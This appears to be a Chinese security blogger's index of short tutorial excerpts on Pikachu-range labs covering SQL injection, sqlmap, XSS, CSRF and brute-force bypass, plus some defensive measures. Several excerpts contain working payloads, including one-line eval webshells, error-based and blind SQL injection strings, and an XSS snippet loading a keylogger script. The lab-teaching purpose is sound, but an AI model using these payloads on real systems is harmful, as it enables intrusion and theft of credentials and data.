安全
汉堡哥哥27
这个作者很懒,什么都没留下…
展开
-
sqlmap自动化注入
sqlmap是什么:自动化SQL注入的接管工具。sqlmap经典用法:第一步:-u “xxx” --cookie=“yyy” //带上cookie对URL进行注入测试;第二步:-u “xxx” --cookie=“yyy” -current-db //对数据库进行获取;第三步:-u “xxx” --cookie=“yyy” -D pikachu --tables //对数据库的表名进行枚举;第四步:-u “xxx” --cookie=“yyy” -D pikachu -T users原创 2021-04-04 18:21:18 · 1039 阅读 · 0 评论 -
SQL注入防范措施
代码层面:(1)对输入进行严格的转义和过滤;(2)使用预处理和参数后(Parameterized);网络层面:(1)通过WAF设备启用防SQL注入策略(防护系统);(2)云端防护(360安全卫士,阿里云盾);...原创 2021-04-04 15:42:17 · 1557 阅读 · 0 评论 -
SQL Injection手动测试---OS远程测试
一. 一句话木马什么是一句话木马?一种短小而精悍的木马客户端,隐蔽性好,且功能强大。可将这些木马写入到文件中,通过对文件的访问来执行这些木马PHP:<?php @eval($_POST['chopper']);?>ASP:<%eval request(“chopper”)%>ASP.NET:<%@ Page Language=“Jscript”%><%eval(Request.Item[“chopper”], “unsafe”);%>二. 如何通过原创 2021-04-01 21:46:44 · 167 阅读 · 0 评论 -
SQL注入---基于时间盲注
SQL注入—基于时间盲注实验平台:皮卡丘靶场—盲注(base on time)实验原理:输入单引号’,确定此处没有报错信息:输入payload:kobe’ and 1=1#,发现也没有报错信息在浏览器后台—网络中查看payload执行时间:kobe’ and sleep(5)#此处执行了sleep(5),执行时间用了5000ms。因此此处存在SQL注入,并且是基于时间的盲注。基于时间的延迟的payload:kobe’ and if((substr(database(),原创 2021-03-31 20:35:33 · 468 阅读 · 0 评论 -
SQL注入---基于boolean盲注
SQL注入—基于boolean盲注实验平台:皮卡丘靶场—盲注(base on boolean)实验原理:查看当前数据库名称:select database();将数据库名称用substr()取值,从第1个字符开始,取一个字符:select substr(database(), 1, 1);将取出的值转换成ASCII码:select ascii(substr(database(),1,1));对转换的值进行比较:select ascii(substr(database(),1,1)) &原创 2021-03-31 20:33:32 · 248 阅读 · 0 评论 -
SQL注入---盲注
SQL注入—盲注什么是盲注:(1) 在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法再根据报错信息来进行注入判断。(2) 盲注又分为boolean based(基于布尔型的盲注)和time based(基于时间型的盲注)什么是基于boolean的盲注:一定没有报错信息;无论是正确的输入,还是错误的输入,都只显示两种情况(我们可以任务是0或1)在正确的输入下,输入and 1=1/and 1=2可以判断什么是基于时间的盲注:通过特定的输入,判断后台执行的世界,从而确认原创 2021-03-31 20:28:59 · 147 阅读 · 0 评论 -
SQL注入---Cookie注入
Cookie注入实验环境:皮卡丘靶场—HTTP Header注入Cookie作用:Cookie用于跟踪会话,后台会获取前端cookie来进行验证操作。实验步骤:根据提示,先login(admin/123456)使用burpsuite进行抓包,并发送到repeater中此处有[uname]和[pw],因此猜测此处可能为用户用于登录的cookie在用户名admin后面增加单引号admin’查看返回报文,有数据库报错信息:You have an error in y原创 2021-03-31 20:27:25 · 184 阅读 · 0 评论 -
SQL注入---Http Header注入
Http Header注入什么是HTTP Header注入?后台开发人员为了验证客户端头信息(比如常用的cookie验证),或者通过HTTP Header头信息获取客户端的一些信息,比如User-Agent,Accept字段等。会对客户端的HTTP Header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于HTTP Header的SQL Injection漏洞。实验环境:皮卡丘靶场—HTTP Header注入实验步骤:根据提示,先login(admin/123原创 2021-03-31 20:21:37 · 538 阅读 · 0 评论 -
SQL-Inject漏洞手动测试---基于函数报错的信息获取---floor()
floor()函数作用: MySQL中用来取整的函数;条件:MySQL语句中,一定腰满足三个条件,即,要有count(), group by和 rand()示例:实验步骤:设计payload:aaa’ and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x)a)#修改payload,使其直接输出密码:aaa’ an原创 2021-03-30 22:26:56 · 121 阅读 · 0 评论 -
SQL-Inject漏洞手动测试---基于函数报错的信息获取---extractvalue()
extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。语法:ExtractValue(xml_document, xpath_string)第一个参数:xml_document是string格式,为xml稳定对象名称;第二个参数:xpath_string(xpath格式的字符串);实验步骤:设计payload:aaaa’ and extractvalue(0, concat(0x7e, database()))#输入存在SQL注入的查询中:...原创 2021-03-30 22:01:54 · 160 阅读 · 0 评论 -
delete注入
delete注入实验环境:皮卡丘平台—delete注入原理:if(array_key_exists(‘id’, $_GET)){KaTeX parse error: Expected '}', got 'EOF' at end of input: …ge where id = {$_GET[‘id’]}";…}要在’id’出构造闭合实验步骤:可以看到此时有一条留言:删除该留言并且用Burpsuite抓包,并发送到repeater中:设计payload:1 or updatexml原创 2021-03-30 21:15:25 · 997 阅读 · 0 评论 -
insert/update注入
insert/update注入实验环境:皮卡丘靶场—insert/update注入原理:insert注入(注册新用户):后端没有做防SQL注入处理,在前端注册的信息,通过insert直接拼接到数据库中;insert into member(username, pw, sex, phonenum, email, address) value (‘xiaohong’, 1111, 1, 2, 3, 4)insert语句一般通过or进行闭合:insert into member(userna原创 2021-03-30 20:48:41 · 1012 阅读 · 0 评论 -
SQL-Inject漏洞手动测试---基于函数报错的信息获取---updatexml()
SQL-Inject漏洞手动测试—基于函数报错的信息获取–select基于函数报错的信息获取(select/insert/update/delete)思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。前提是后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。常用的报错函数:updatexml(), extractvalue(), floor()updatexml(): MySQL对原创 2021-03-29 21:27:32 · 244 阅读 · 1 评论 -
通过information_schema拿下数据库
通过information_schema拿下数据库information_schema:进入数据库,并且查看:有个默认的information_schema数据库。切换到该information_schema数据库并且查看表:information_schema里面有很多表,这里最重要的表是TABLES和COLUMNS;首先看一下TABLES表里面的字段,他会将数据库中所有实例中表的相关信息都放在TABLE_SCHEMA中:然后查看一下COLUMNS里面的字段,会将原创 2021-03-28 14:44:31 · 432 阅读 · 0 评论 -
MySQL小知识---information_schema
MySQL小知识—information_schema在MySQL中,自带的information_schema这个表里面存放大量的重要信息。如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。比如:SCHEMATA表:提供当前MySQL实例中所有数据库信息,是show databases的结果取之此表;TABLES表:提供关于数据库中的表的信息(包括视图)。详细描述了某个表属于哪个schema,表类型,表引擎,创建时间等。是show tables from schemanam原创 2021-03-24 22:26:16 · 177 阅读 · 0 评论 -
SQL Injection手动测试---基于union的信息获取
SQL Injection手动测试—基于union的信息获取(本文仅限于技术分享或参考)**union联合查询:**可以通过联合查询来查询指定的数据。select username, password from user where id=1 union select 字段1,字段2 from 表名;(联合查询的字段数需要和主查询一致)例:mysql> select id, email from member where username=‘kobe’ union select username原创 2021-03-24 22:15:28 · 202 阅读 · 0 评论 -
SQL注入—如何获知后台数据库是否存在注入漏洞
SQL注入—如何获知后台数据库是否存在注入漏洞(本文仅供学习或参考)实验准备:皮卡丘靶场—SQL Injection(字符型注入,搜索型注入,xx型注入)实验步骤:判断输入框中需要输入的字符类型,因此闭合语句不是单引号’,就是双引号"。select email from table where username = ‘xxx’;因此在测试的时候,可以先尝试使用双引号"做闭合aaa"or 1=1#,如果不成功,再使用单引号aaa’ or 1=1#查看报错机制:输入一个单引号’,原创 2021-03-23 21:00:06 · 663 阅读 · 0 评论 -
SQL注入—搜索注入
SQL注入—搜索注入(本文仅供学习或参考)实验准备:皮卡丘靶场—SQL Injection—搜索型注入实验步骤:输入任意字母,以‘k’为例,进行模糊查询,查看结果:猜想数据库查询语句:select * from table where username like ‘%k%’ ;构造payload,制造闭合:k%’ or 1=1 #...原创 2021-03-23 20:40:17 · 454 阅读 · 0 评论 -
SQL注入—字符型注入(GET)
SQL注入—数值型注入(GET)(本文仅供学习或参考)实验准备:皮卡丘靶场—SQL Injection—数值型注入(GET)实验步骤:当输入一个数据库里存在的用户名时候,会出现相关邮箱和id:当输入一个不存在的字符串时,没有任何信息:查看其URL,发现请求实在URL中提交的,是一个GET请求:http://localhost/pikaqiu.cn/vul/sqli/sqli_str.php?name=1111&submit=%E6%9F%A5%E8%AF%A2原创 2021-03-22 22:40:12 · 550 阅读 · 0 评论 -
SQL注入---数值型注入(POST)
SQL注入—数值型注入(POST)(本文仅供学习或参考)实验准备:皮卡丘靶场—SQL Injection—数值型注入(POST)实验步骤:先查询一下下拉框的功能:查看此时的URL:http://localhost/pikaqiu.cn/vul/sqli/sqli_id.php发现是post方式提交的请求,因为没有使用URL传参。后端数据库查询逻辑:select name, email from table where id = n(1,2,3,4…)使用Burpsuite原创 2021-03-22 20:44:08 · 511 阅读 · 0 评论 -
SQL Injection概述
SQL Injection概述在OWASP发布的top10漏洞中,注入漏洞一直是危害排名第一,其中主要是SQL注入。数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。SQL注入攻击流程:第一步:注入点探测:(1)自动方式:使用web漏洞扫描工具,自动进行注入点发现;(2)手动方式:手工构造SQL Injection测试语句进行注入点发现;第二步:原创 2021-03-20 16:46:27 · 241 阅读 · 0 评论 -
CSRF防范措施
CSRF防范措施增加token验证(常用做法):对关键操作增加token参数,token值必须随机,并且每次都不一样;关于安全的会话管理(避免会话被利用);不要在客户端保存敏感信息(身份证认证信息);测试直接关闭/退出时,会话过期机制;设置会话过期机制,比如15分钟内误操作,则登录超时;访问控制安全管理:敏感信息的修改时需要对身份进行二次认证(比如修改账号,要求输入旧密码);敏感信息的修改使用post,而非get;通过http头部中的referer来限制原页面(验证链接来源);增原创 2021-03-20 16:10:26 · 747 阅读 · 2 评论 -
Token如何防止CSRF漏洞
Token如何防止CSRF漏洞CSRF的主要问题是敏感操作的链接容易被伪造,因此每次请求,都添加一个随机码(需要足够长度,足够随机,不容易被伪造),后台每次对这个随机码进行验证。实验环境:皮卡丘靶场—CSRF Token实验步骤:输入用户名和密码:lucy/123456修改信息,将ShangHai修改为ShangHai xxx,并且用burpsuite抓包,可看见响应头设置的Token值。查看后端源代码,发现input标签里面有个token:将响应头复制出来进行修改 再重原创 2021-03-20 15:44:05 · 1304 阅读 · 0 评论 -
CSRF漏洞案例---POST型
CSRF漏洞案例—POST型(本文仅供技术学习与分享)实验环境:皮卡丘靶场—CSRF—CSRF(POST)实验步骤:在原始的个人资料上进行修改,将性别改成Female,地址改成Beijing,邮箱改为lucy@qq.com:查看burpsuite,发现请求通过POST方式提交,参数是通过请求体传输,因此无法通过URL伪造参数;如图在burpsuite生成PoC将Beijing改为ShangHai,lucy@qq.com改为jack@qq.com。再点击右下角Test原创 2021-03-20 14:47:59 · 1950 阅读 · 0 评论 -
CSRF漏洞案例---GET型
CSRF漏洞案例—GET型(本文仅供技术学习与分享)实验环境:皮卡丘靶场—CSRF—CSRF(get)实验步骤:输入用户名密码lucy,123456修改个人信息通过burpsuite进行抓包,可以看见刚刚修改并提交的内容:将burpsuite中的GET请求复制出来发现,没有设置防CSRF的Token:GET /pikaqiu.cn/vul/csrf/csrfget/csrf_get_edit.php?sex=lucy&phonenum=123456789&原创 2021-03-20 14:12:12 · 566 阅读 · 0 评论 -
CSRF基本概念
CSRF基本概念CSRF(Cross-Site Request Forgery, 跨站请求伪造)攻击者伪造一个请求(一般是个链接),欺骗目标用户点击。用户点击这个请求,攻击完成。CSRF攻击条件:网站没有对个人信息修改的请求进行防CSRF处理,导致请求容易被伪造;受害者必须登录该网站,并且点击该链接示例:正常情况下,Jack想编辑个人信息,因此修改自己的新地址:http://www.xxxx.com/sex=男&phonenum=123456&add=地球村56789原创 2021-03-20 13:47:47 · 264 阅读 · 0 评论 -
Token防爆破?---Token绕过
Token防爆破?—Token绕过:(本文仅供技术学习与分享)实验环境皮卡丘靶场:暴力破解—token防绕过?实验步骤查看页面源码,发现表单中隐藏的input的标签里面有个隐藏的Token。该Token是用户在打开页面的时候,向后台请求一个Token,后台就会产生一个新的token;当用户提交账号和密码的时候,也会提交token值,后端会先对token进行验证。但是该token在认证之前,会以字符串明文的方式输出到表单中,并且会被用户的脚本获取,因此无法防止暴力破解。暴力破解防范措施原创 2021-03-18 21:00:42 · 894 阅读 · 0 评论 -
暴力破解的绕过和防范(on server)---验证码绕
暴力破解的绕过和防范(on server)—验证码绕过(本文仅供技术学习与分享)实验环境:皮卡丘靶场-暴力破解-验证码绕过(on server)实验步骤:输入错误的用户名,密码和验证码,查看错误提示输入错误的用户名和密码,但是输入正确的验证码,查看提示:用户名或密码不存在通过Burpsuite抓包,并将请求发送到repeater中提交,查看响应报文删除验证码提交,显示验证码不能为空输入错误的验证码,显示验证码错误由此说明,后端是做了验证码进行验证。刷新界面获取原创 2021-03-17 19:41:48 · 1017 阅读 · 0 评论 -
暴力破解的绕过和防范(on client)---验证码绕过
暴力破解的绕过和防范(on client)—验证码绕过(本文仅供技术学习与分享)验证码全自动区分计算机和人类的图灵测试, (CAPTCHA, Completely Automated Public Turing test to tell Computers and Humans Apart)验证码的作用防止暴力破解防止机器恶意注册实验环境皮卡丘靶场-暴力破解-验证码绕过(on client)实验步骤输入错误的用户名和密码,但是不输入验证码,查看提示提示显示必须输入验证码;输原创 2021-03-16 21:46:23 · 1160 阅读 · 1 评论 -
基于表单的暴力破解
基于表单的暴力破解(本文仅供技术学习与分享)实验环境及工具:皮卡丘平台Burpsuite实验步骤:(1)看到用户名和密码输入框,随机输入任意字符串尝试登陆,并用Burpsuite抓包,显示登陆失败。但是在Burpsuite上可以看到,该请求为Post请求。认证因素只需要用户名和密码,没有验证码,因此是可以被暴力破解。(2)将该请求发送到Intrude里面进行修改。 (3)点击最右边clear §,清除变量。在username和password变量的值中add § (4)添加两个字典(因原创 2021-03-15 19:54:33 · 1331 阅读 · 0 评论 -
XSS漏洞 href和js输出,以及常见防范措施
XSS漏洞,href和js输出,以及常见防范措施(本文仅供技术学习与分享)原则:输入做过滤,输出做转义过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字;所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义;实验准备:皮卡丘靶场:xss只href输出皮卡丘靶场:xss只js输出实验步骤:xss之href输出:构造payload:javascript:alert(111)并查看源码(hr原创 2021-03-14 15:31:25 · 1767 阅读 · 0 评论 -
XSS漏洞---关于htmlspecialchars()函数
XSS漏洞(本文仅供技术学习与分享)关于htmlspecialchars()函数htmlspecialchars()函数把预定义的字符转换成HTML实体,这些字符包括:但是默认方法类型不对单引号进行过滤,比如:可用的引号类型:ENT_COMPAT — 默认。进编码双引号ENT_QUOTES — 编码双引号和单引号ENT_NOQUOTES — 不编码任何引号实验准备皮卡丘平台,xss之htmlspecialchars实验步骤:输入危险字符串,并查看后台源码。发现双引号和尖括号被原创 2021-03-14 14:48:05 · 700 阅读 · 0 评论 -
XSS漏洞---XSS绕过
XSS漏洞(本文仅供技术学习与分享)XSS绕过程序员在开发的时候会做安全措施,但是有时候逻辑不严谨,或者采取了错误的安全措施,导致其措施起到一部分作用,但是仍然可以被绕过。主要的5种形式的绕过:前端限制绕过:直接抓包重放,或者修改HTML前端代码;大小写绕过:比如双写绕过使用注释干扰:编码绕过:将下面代码进行base64编码,系统安全措施没做到,就不会将其过滤(编码不能滥用,否则虽然实现了绕过,但是输出的时候无法识别和解码)编码绕过案例:例1:中(11原创 2021-03-14 14:16:09 · 337 阅读 · 0 评论 -
XSS漏洞---XSS盲打
XSS漏洞(本文仅供技术学习与分享)XSS盲打实验准备:皮卡丘靶场;实验步骤:输入无害字符串来查看效果,发现该字符串已经提交到后台;输入一个JavaScript脚本 — alert(2222) 发现也并没有弹框3. 登录管理员界面查看后台,发现登录就会弹框4. 其本质就是XSS存储型漏洞。...原创 2021-03-13 17:12:49 · 286 阅读 · 0 评论 -
XSS漏洞利用---键盘记录
XSS漏洞利用(本文仅供技术学习与分享)存储型XSS漏洞之钓鱼实验准备:皮卡丘靶场;存在存储型xss漏洞的网页;pkxss键盘记录后台;实验步骤:4. 嵌入恶意的js标签 — src=“http://localhost/pikaqiu.cn/pkxss/rkeypress/rk.js”5. 在输入框中输入字符串:111111并查看后台,发现已经记录。Tips: 如果无法记录数据,需关闭浏览器的同源策略Access-Contrl-Allow-Origin....原创 2021-03-13 15:58:49 · 461 阅读 · 0 评论 -
XSS漏洞利用---存储型XSS钓鱼
XSS漏洞利用(本文仅供技术学习与分享)存储型XSS漏洞之钓鱼实验准备pikachu平台为存在XSS漏洞平台的站点;用户正常访问该站点;攻击者搭建的,以供收集数据的后台(皮卡丘后台预备好了pkxss平台);实验思路(使用basic认证做钓鱼)制作钓鱼鱼儿:WWW Authenticate:Basic即:在存在XSS漏洞的页面上嵌入请求(JavaScript或其他链接)。当用户点击打开嵌入恶意代码页面的时候,该页面会向后台发送请求,该请求会要求用户返回basic认证。因此在用户界面就会弹出原创 2021-03-13 14:07:37 · 1099 阅读 · 1 评论 -
存储型XSS漏洞基础
存储XSS漏洞基础XSS漏洞基础(本文仅供技术学习与分享)实验准备:皮卡丘靶场实验步骤:存储型XSS和反射型XSS的原理一样,不同的是,存储型的XSS下攻击者可以将脚本注入到后台保存,构成持久性的危害。在留言板上输入无害字符串,可以发现输入的内容被一直保存在后台。输入一些危险字符串,可以看到,后台没有做任何过滤处理,被当做留言输出在留言板上输入一个简单的弹窗–alert(‘xss’),并且每次刷新都会弹窗。每次访问该页面都会触发payload,加载脚本...原创 2021-03-11 22:19:04 · 268 阅读 · 0 评论 -
反射型XSS漏洞基础
XSS漏洞基础(本文仅供技术学习与分享)反射型XSS(GET)漏洞弹窗实验准备:皮卡丘靶场实验步骤:2. 确认页面是否存在XSS漏洞;在对应的输入点输入危险字符,包括’, ", <, >以及危险字符串等;3. 确认输入后是否会被过滤,输出是否会被处理;4. 这里输入<>后,发现输入的字符串未被过滤或转义:5. 查看源码发现,发现我们输入的<>被输出在标签里面:6. 因此我们可以推测,如果输入JavaScript代码,也不会被过滤。因此输入简单的原创 2021-03-11 21:33:47 · 318 阅读 · 0 评论 -
XSS漏洞利用---GET型XSS漏洞获取用户Cookie信息
**XSS漏洞利用(本文仅供技术学习与分享)**GET型XSS漏洞获取用户Cookie信息我们都知道XSS漏洞可以让浏览器弹框,但是不知道有什么实际的危害。下面我用皮卡丘靶场来做实验。实验准备皮卡丘平台为存在XSS漏洞平台的站点;用户正常访问该站点;攻击者搭建的,以供收集数据的后台(皮卡丘后台预备好了pkxss平台);实验思路攻击者在pkxss后台创建一个接收数据的接口;攻击者在存在XSS漏洞的站点上插入恶意脚本;正常的用户访问XSS页面,触发脚本;站点随即返回恶意JS的页面给原创 2021-03-07 15:55:15 · 1179 阅读 · 1 评论